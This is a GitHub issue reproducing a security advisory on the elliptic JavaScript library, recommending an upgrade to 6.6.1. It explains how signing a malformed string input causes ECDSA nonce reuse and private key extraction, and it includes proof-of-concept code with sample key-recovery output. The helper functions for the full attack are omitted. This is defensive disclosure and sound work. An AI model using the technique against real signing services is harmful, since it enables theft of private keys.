Skip to content

Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string) #3119

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
i5d6 opened this issue May 1, 2025 · 0 comments
Assignees

Comments

@i5d6
Copy link

i5d6 commented May 1, 2025

Upgrade elliptic to fix 6 Dependabot alerts in package-lock.json
Upgrade elliptic to version 6.6.1 or later. For example:

"dependencies": {
"elliptic": ">=6.6.1"
}
"devDependencies": {
"elliptic": ">=6.6.1"
}

Transitive dependency elliptic 6.5.4 is introduced via
@wordpress/scripts 14.1.1 ... elliptic 6.5.4

Summary
Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input

Note that elliptic by design accepts hex strings as one of the possible input types

Details
In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107

msg is a BN instance after conversion, but nonce is an array, and different BN instances could generate equivalent arrays after conversion.

Meaning that a same nonce could be generated for different messages used in signing process, leading to k reuse, leading to private key extraction from a pair of signatures

Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction

While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still should not leak the private key

Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain

PoC

k reuse example

import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })

Full attack
This doesn't include code for generation/recovery on a purpose (bit it's rather trivial)

import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)

// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)

// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)

const something = extract(msg0, sig0, sig1, curve)

console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)

Output:

Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Similar for ed25519, but due to low n, the key might not match precisely but is nevertheless equivalent for signing:

Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6
restored is equal to orig mod N.

Impact
Full private key extraction when signing a single malicious message (that passes JSON.stringify/JSON.parse)

@iodic iodic self-assigned this May 26, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants